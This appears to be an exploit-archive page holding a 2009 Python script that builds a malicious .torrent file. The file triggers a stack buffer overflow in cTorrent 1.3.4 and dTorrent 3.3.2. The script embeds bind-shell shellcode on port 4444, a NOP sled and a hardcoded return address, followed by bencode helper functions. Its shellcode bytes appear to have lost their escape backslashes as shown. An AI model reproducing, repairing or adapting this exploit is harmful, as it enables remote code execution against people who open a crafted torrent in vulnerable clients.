[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : cTorrent/DTorrent (.Torrent File) Buffer Overflow Exploit
# Published : 2009-04-17
# Author : Michael Brooks
# Previous Title : Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit
# Next Title : Oracle APEX 3.2 Unprivileged DB users can see APEX password hashes


#!/usr/bin/python

#Written By Michael Brooks
#04/17/2009

#Stack Based Buffer Overflow 
#The vulnerability is in the btFiles::BuildFromMI function 
#inside the btfiles.cpp file

#Exploit tested on cTorrent 1.3.4 using Debian Sarge using Linux kernel 2.4.27-3-386
#Can't get the exploit working on a modern linux kernel because of ASLR

#code is using python 2.5

#Home page for cTorrent 1.3.4:
#http://sourceforge.net/projects/ctorrent/  161,000+ Downloads
#dTorrent 3.3.2 is also vulnerable: 
#http://sourceforge.net/projects/dtorrent/ 18,000+ downloads

import sys
import os
#This code will take any torrent file and turn it into an exploit. 
USAGE="python exploit.py in_file.torrent out_file.torrent"

def main():
    #Start of the program
    bfile=fileio()
    try:
        bad_torrent=bfile.read_bencode(sys.argv[1])
    except:
        print USAGE
        sys.exit()
    
    exploit_str=create_exploit()
    print("Writing Bytes:"+str(len(exploit_str)))
    bad_torrent["info"]["files"][0]["path"][0]=exploit_str
    try:
        bfile.write_bencode(sys.argv[2], bad_torrent)
    except:
        print USAGE
        sys.exit()

def create_exploit():
    # linux_ia32_bind -  LPORT=4444 Size=108 Encoder=PexFnstenvSub http://metasploit.com
    shellcode  = "x2bxc9x83xe9xebxd9xeexd9x74x24xf4x5bx81x73x13x27"
    shellcode += "x1axbex4ex83xebxfcxe2xf4x16xc1xedx0dx74x70xbcx24"
    shellcode += "x41x42x27xc7xc6xd7x3exd8x64x48xd8x26x36x46xd8x1d"
    shellcode += "xaexfbxd4x28x7fx4axefx18xaexfbx73xcex97x7cx6fxad"
    shellcode += "xeax9axecx1cx71x59x37xafx97x7cx73xcexb4x70xbcx17"
    shellcode += "x97x25x73xcex6ex63x47xfex2cx48xd6x61x08x69xd6x26"
    shellcode += "x08x78xd7x20xaexf9xecx1dxaexfbx73xce"
    
    #The exact address of our buffer is 0xbffffccc, which ebx tells us
    #however memeory changes before we control the eip,  
    #so we change the addr to hit the NOP sled
    eip="x11xf1xffxbf"
    #eip="xccxfcxffxbf"#the add ebx is holding
    
    #this is a dummy address to satisfy other pointer before we return
    #this cannot be the EIP becuase this location is written to!
    dumb_addr="xccxfcxffxbf"
    
    #nop sled
    long_str="x90"*(4028-len(shellcode))
    #memory around the shellcode is written to,  but this is a safe place
    long_str+=shellcode
    #this 100byte buffer is written to before we control the eip
    long_str+="x90"*100
    long_str+=eip#4128 bytes is the EIP!
    
    #This pointer must be real becuase it is written to in btFiles::BuildFromMI
    long_str+=dumb_addr#"this" 
    #We can control these addresses but we don't need them
    #long_str+=dumb_addr#"metabuf"
    #long_str+=dumb_addr#"saveas"
    return long_str
        
#Start of functions for bencoding:
def BTFailure(msg):
    pass

def decode_int(x, f):
    f += 1
    newf = x.index('e', f)
    n = int(x[f:newf])
    if x[f] == '-':
        if x[f + 1] == '0':
            raise ValueError
    elif x[f] == '0' and newf != f+1:
        raise ValueError
    return (n, newf+1)

def decode_string(x, f):
    colon = x.index(':', f)
    n = int(x[f:colon])
    if x[f] == '0' and colon != f+1:
        raise ValueError
    colon += 1
    return (x[colon:colon+n], colon+n)

def decode_list(x, f):
    r, f = [], f+1
    while x[f] != 'e':
        v, f = decode_func[x[f]](x, f)
        r.append(v)
    return (r, f + 1)

def decode_dict(x, f):
    r, f = {}, f+1
    while x[f] != 'e':
        k, f = decode_string(x, f)
        r[k], f = decode_func[x[f]](x, f)
    return (r, f + 1)

decode_func = {}
decode_func['l'] = decode_list
decode_func['d'] = decode_dict
decode_func['i'] = decode_int
decode_func['0'] = decode_string
decode_func['1'] = decode_string
decode_func['2'] = decode_string
decode_func['3'] = decode_string
decode_func['4'] = decode_string
decode_func['5'] = decode_string
decode_func['6'] = decode_string
decode_func['7'] = decode_string
decode_func['8'] = decode_string
decode_func['9'] = decode_string

def bdecode(x):
    try:
        r, l = decode_func[x[0]](x, 0)
    except (IndexError, KeyError, ValueError):
        raise BTFailure("not a valid bencoded string")
    if l != len(x):
        raise BTFailure("invalid bencoded value (data after valid prefix)")
    return r

from types import StringType, IntType, LongType, DictType, ListType, TupleType


class Bencached(object):

    __slots__ = ['bencoded']

    def __init__(self, s):
        self.bencoded = s

def encode_bencached(x,r):
    r.append(x.bencoded)

def encode_int(x, r):
    r.extend(('i', str(x), 'e'))

def encode_bool(x, r):
    if x:
        encode_int(1, r)
    else:
        encode_int(0, r)
        
def encode_string(x, r):
    r.extend((str(len(x)), ':', x))

def encode_list(x, r):
    r.append('l')
    for i in x:
        encode_func[type(i)](i, r)
    r.append('e')

def encode_dict(x,r):
    r.append('d')
    ilist = x.items()
    ilist.sort()
    for k, v in ilist:
        r.extend((str(len(k)), ':', k))
        encode_func[type(v)](v, r)
    r.append('e')

encode_func = {}
encode_func[Bencached] = encode_bencached
encode_func[IntType] = encode_int
encode_func[LongType] = encode_int
encode_func[StringType] = encode_string
encode_func[ListType] = encode_list
encode_func[TupleType] = encode_list
encode_func[DictType] = encode_dict

try:
    from types import BooleanType
    encode_func[BooleanType] = encode_bool
except ImportError:
    pass

def bencode(x):
    r = []
    encode_func[type(x)](x, r)
    return ''.join(r)

class fileio:
    def read_bencode(self,file):
        infile = open(file,"r")
        file=infile.read()
        infile.close
        return bdecode(file)
    
    #writes a dictionary to a bencoded file
    def write_bencode(self,file,dict):
        outfile = open(file, 'wb')
        outfile.write(bencode(dict))
        outfile.close()    
    
#execute main
main()

# www.Syue.com [2009-04-17]